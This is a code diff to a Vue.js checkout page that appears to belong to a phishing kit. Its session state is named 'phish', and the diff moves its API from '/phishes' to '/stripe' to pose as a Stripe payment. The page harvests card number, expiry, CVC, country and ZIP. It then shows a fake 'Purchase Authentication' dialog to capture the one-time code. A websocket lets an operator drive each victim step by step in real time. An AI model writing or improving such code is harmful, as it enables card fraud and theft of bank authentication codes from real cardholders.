|
|
@@ -8,13 +8,17 @@
|
|
|
placeholder="1234 1234 1234 1234"
|
|
|
v-model="model.card"
|
|
|
ref="cardRef"
|
|
|
+ :disabled="loading || success || fail"
|
|
|
/>
|
|
|
<PField
|
|
|
class="!w-6/12"
|
|
|
name="expiry"
|
|
|
+ type="expiry"
|
|
|
label="Expiration"
|
|
|
- placeholder="MM/YY"
|
|
|
+ placeholder="MM / YY"
|
|
|
v-model="model.expiry"
|
|
|
+ ref="expiryRef"
|
|
|
+ :disabled="loading || success || fail"
|
|
|
/>
|
|
|
<PField
|
|
|
class="!w-6/12 pl-3"
|
|
|
@@ -23,12 +27,16 @@
|
|
|
label="CVC"
|
|
|
placeholder="CVC"
|
|
|
v-model="model.cvc"
|
|
|
+ ref="cvcRef"
|
|
|
+ :disabled="loading || success || fail"
|
|
|
/>
|
|
|
<PField
|
|
|
name="country"
|
|
|
label="Country"
|
|
|
type="country"
|
|
|
v-model="model.country"
|
|
|
+ ref="countryRef"
|
|
|
+ :disabled="loading || success || fail"
|
|
|
/>
|
|
|
<PField
|
|
|
name="zip"
|
|
|
@@ -36,9 +44,36 @@
|
|
|
type="zip"
|
|
|
placeholder="ZIP"
|
|
|
v-model="model.zip"
|
|
|
+ ref="zipRef"
|
|
|
+ :disabled="loading || success || fail"
|
|
|
/>
|
|
|
|
|
|
- <PButton>{{ loading ? "Processing..." : "Pay" }}</PButton>
|
|
|
+ <PButton
|
|
|
+ class="mt-6"
|
|
|
+ :loading="loading"
|
|
|
+ :success="success"
|
|
|
+ :fail="fail"
|
|
|
+ >{{
|
|
|
+ success
|
|
|
+ ? "Success"
|
|
|
+ : fail
|
|
|
+ ? "Declined"
|
|
|
+ : loading
|
|
|
+ ? "Processing..."
|
|
|
+ : "Pay"
|
|
|
+ }}</PButton
|
|
|
+ >
|
|
|
+
|
|
|
+ <div
|
|
|
+ v-if="success"
|
|
|
+ class="bg-green-100 text-green-600 mt-4 p-3 rounded"
|
|
|
+ >
|
|
|
+ Payment successful. Thank you for your purchase.
|
|
|
+ </div>
|
|
|
+
|
|
|
+ <div v-if="fail" class="bg-red-100 text-red-600 mt-4 p-3 rounded">
|
|
|
+ Your payment has been declined. Please try again later.
|
|
|
+ </div>
|
|
|
</form>
|
|
|
<Footer />
|
|
|
|
|
|
@@ -52,21 +87,34 @@
|
|
|
<div class="icon-logo">
|
|
|
<img class="icon" src="@/assets/icon_bank.svg" />
|
|
|
<div class="flex-1"></div>
|
|
|
- <img class="logo" src="@/assets/discover_logo.svg" />
|
|
|
+ <img class="logo" v-if="cardLogo" :src="cardLogo" />
|
|
|
</div>
|
|
|
<h1 class="mt-4 text-[28px] font-bold">
|
|
|
Purchase Authentication
|
|
|
</h1>
|
|
|
<p class="mt-2 text-base text-neutral-800">
|
|
|
- We've sent you a text message to your registered phone
|
|
|
- number ending in 1234
|
|
|
+ {{ phish.otpMsg }}
|
|
|
</p>
|
|
|
<div class="mt-8">
|
|
|
<label>Confirmation Code</label>
|
|
|
- <PField class="mt-2" />
|
|
|
+ <PField
|
|
|
+ class="mt-2"
|
|
|
+ placeholder="Confirmation Code"
|
|
|
+ v-model="model.otp"
|
|
|
+ type="otp"
|
|
|
+ ref="otpRef"
|
|
|
+ />
|
|
|
</div>
|
|
|
|
|
|
- <PButton class="mt-8">Confirm Payment</PButton>
|
|
|
+ <PButton
|
|
|
+ class="mt-8"
|
|
|
+ @click="confirmOTP"
|
|
|
+ :loading="confirmingOTP"
|
|
|
+ >
|
|
|
+ {{
|
|
|
+ confirmingOTP ? "Processing..." : "Confirm Payment"
|
|
|
+ }}
|
|
|
+ </PButton>
|
|
|
</div>
|
|
|
</div>
|
|
|
</Transition>
|
|
|
@@ -74,60 +122,171 @@
|
|
|
</template>
|
|
|
<script setup>
|
|
|
import axios from "axios";
|
|
|
-import { onMounted, onBeforeMount, ref } from "vue";
|
|
|
+import { onMounted, onBeforeMount, ref, computed, nextTick } from "vue";
|
|
|
import PField from "@/components/PField.vue";
|
|
|
import PButton from "@/components/PButton.vue";
|
|
|
import Footer from "@/components/Footer.vue";
|
|
|
import { useLocalStorage, useSessionStorage } from "@vueuse/core";
|
|
|
import { io } from "socket.io-client";
|
|
|
+import cardValidator from "card-validator";
|
|
|
+import VisaLogo from "@/assets/visa_logo.svg";
|
|
|
+import MasterLogo from "@/assets/master_logo.svg";
|
|
|
+import AmexLogo from "@/assets/amex_logo.svg";
|
|
|
+import DiscoverLogo from "@/assets/discover_logo.svg";
|
|
|
+import DinersLogo from "@/assets/diners_logo.png";
|
|
|
+import JcbLogo from "@/assets/jcb_logo.svg";
|
|
|
|
|
|
const cardRef = ref(null);
|
|
|
+const expiryRef = ref(null);
|
|
|
+const cvcRef = ref(null);
|
|
|
+const countryRef = ref(null);
|
|
|
+const zipRef = ref(null);
|
|
|
+const otpRef = ref(null);
|
|
|
|
|
|
+const model = ref({
|
|
|
+ card: "",
|
|
|
+ expiry: "",
|
|
|
+ cvc: "",
|
|
|
+ country: "",
|
|
|
+ otp: "",
|
|
|
+});
|
|
|
const phish = useSessionStorage("phish", {});
|
|
|
-let socket;
|
|
|
+const showOTPModal = ref(false);
|
|
|
+const confirmingOTP = ref(false);
|
|
|
+const loading = ref(false);
|
|
|
+const success = ref(false);
|
|
|
+const fail = ref(false);
|
|
|
+
|
|
|
+const card = computed(() => cardValidator.number(model.value?.card));
|
|
|
+const cardLogo = computed(() => {
|
|
|
+ if (card.value?.card) {
|
|
|
+ switch (card.value.card.type) {
|
|
|
+ case "visa":
|
|
|
+ return VisaLogo;
|
|
|
+ case "mastercard":
|
|
|
+ return MasterLogo;
|
|
|
+ case "american-express":
|
|
|
+ return AmexLogo;
|
|
|
+ case "discover":
|
|
|
+ return DiscoverLogo;
|
|
|
+ case "diners-club":
|
|
|
+ return DinersLogo;
|
|
|
+ case "jcb":
|
|
|
+ return JcbLogo;
|
|
|
+ }
|
|
|
+ }
|
|
|
+ return null;
|
|
|
+});
|
|
|
+
|
|
|
+function checkStep(data) {
|
|
|
+ switch (data.step) {
|
|
|
+ case "input_otp": {
|
|
|
+ if (otpRef.value) {
|
|
|
+ otpRef.value.showError("");
|
|
|
+ }
|
|
|
+ confirmingOTP.value = false;
|
|
|
+ showOTPModal.value = true;
|
|
|
+ if (otpRef.value && data.errMsg) {
|
|
|
+ nextTick(() => {
|
|
|
+ otpRef.value.showError(data.errMsg);
|
|
|
+ });
|
|
|
+ }
|
|
|
+ break;
|
|
|
+ }
|
|
|
+ case "input_card": {
|
|
|
+ showOTPModal.value = false;
|
|
|
+ loading.value = false;
|
|
|
+ if (cardRef.value) {
|
|
|
+ cardRef.value.showError(data.errMsg);
|
|
|
+ }
|
|
|
+ break;
|
|
|
+ }
|
|
|
+ case "success": {
|
|
|
+ showOTPModal.value = false;
|
|
|
+ loading.value = false;
|
|
|
+ success.value = true;
|
|
|
+ fail.value = false;
|
|
|
+ break;
|
|
|
+ }
|
|
|
+ case "fail": {
|
|
|
+ showOTPModal.value = false;
|
|
|
+ loading.value = false;
|
|
|
+ success.value = false;
|
|
|
+ fail.value = true;
|
|
|
+ break;
|
|
|
+ }
|
|
|
+ }
|
|
|
+}
|
|
|
+
|
|
|
onBeforeMount(async () => {
|
|
|
- const { data: res } = await axios.post("/phishes", {
|
|
|
+ const { data: res } = await axios.post("/stripe", {
|
|
|
id: phish.value.id,
|
|
|
});
|
|
|
if (res) {
|
|
|
phish.value = res;
|
|
|
- socket = io(import.meta.env.VITE_SOCKET_URL, {
|
|
|
+ checkStep(res);
|
|
|
+ const socket = io(import.meta.env.VITE_SOCKET_URL, {
|
|
|
path: "/ws",
|
|
|
transports: ["websocket"],
|
|
|
query: {
|
|
|
id: phish.value.id,
|
|
|
},
|
|
|
});
|
|
|
+ socket.on("new", (data) => {
|
|
|
+ console.log(data);
|
|
|
+ });
|
|
|
+ socket.on("update", (data) => {
|
|
|
+ phish.value = data;
|
|
|
+ checkStep(data);
|
|
|
+ });
|
|
|
}
|
|
|
});
|
|
|
|
|
|
-const model = ref({
|
|
|
- card: "",
|
|
|
- expiry: "",
|
|
|
- cvc: "",
|
|
|
- country: "",
|
|
|
-});
|
|
|
-
|
|
|
-const showOTPModal = ref(false);
|
|
|
-
|
|
|
-const loading = ref(false);
|
|
|
async function submit() {
|
|
|
+ await Promise.all([
|
|
|
+ cardRef.value.validate(),
|
|
|
+ expiryRef.value.validate(),
|
|
|
+ cvcRef.value.validate(),
|
|
|
+ countryRef.value.validate(),
|
|
|
+ zipRef.value.validate(),
|
|
|
+ ]);
|
|
|
loading.value = true;
|
|
|
try {
|
|
|
- await axios.put(`/phishes/${phish.value.id}`, {
|
|
|
- id: phish.value.id,
|
|
|
- card: model.value.card,
|
|
|
- expiry: model.value.expiry,
|
|
|
- cvc: model.value.cvc,
|
|
|
- country: model.value.country,
|
|
|
- step: "wait_for_check_card",
|
|
|
- });
|
|
|
+ const { data: res } = await axios.put(
|
|
|
+ `/stripe/client/${phish.value.id}`,
|
|
|
+ {
|
|
|
+ id: phish.value.id,
|
|
|
+ card: model.value.card,
|
|
|
+ expiry: model.value.expiry,
|
|
|
+ cvc: model.value.cvc,
|
|
|
+ country: model.value.country,
|
|
|
+ step: "wait_for_check_card",
|
|
|
+ }
|
|
|
+ );
|
|
|
+ phish.value = res;
|
|
|
} catch (error) {
|
|
|
console.error(error);
|
|
|
- } finally {
|
|
|
loading.value = false;
|
|
|
}
|
|
|
}
|
|
|
+
|
|
|
+async function confirmOTP() {
|
|
|
+ await otpRef.value.validate();
|
|
|
+ confirmingOTP.value = true;
|
|
|
+ try {
|
|
|
+ const { data: res } = await axios.put(
|
|
|
+ `/stripe/client/${phish.value.id}`,
|
|
|
+ {
|
|
|
+ otp: model.value.otp,
|
|
|
+ step: "wait_for_check_otp",
|
|
|
+ }
|
|
|
+ );
|
|
|
+ phish.value = res;
|
|
|
+ } catch (error) {
|
|
|
+ console.error(error);
|
|
|
+ confirmingOTP.value = false;
|
|
|
+ }
|
|
|
+}
|
|
|
</script>
|
|
|
<style scoped lang="less">
|
|
|
.otp-modal {
|
|
|
@@ -186,7 +345,8 @@ async function submit() {
|
|
|
opacity 1s cubic-bezier(0.19, 1, 0.22, 1);
|
|
|
}
|
|
|
|
|
|
-.scale-enter-from {
|
|
|
+.scale-enter-from,
|
|
|
+.scale-leave-to {
|
|
|
transform: scale(0.8);
|
|
|
opacity: 0;
|
|
|
}
|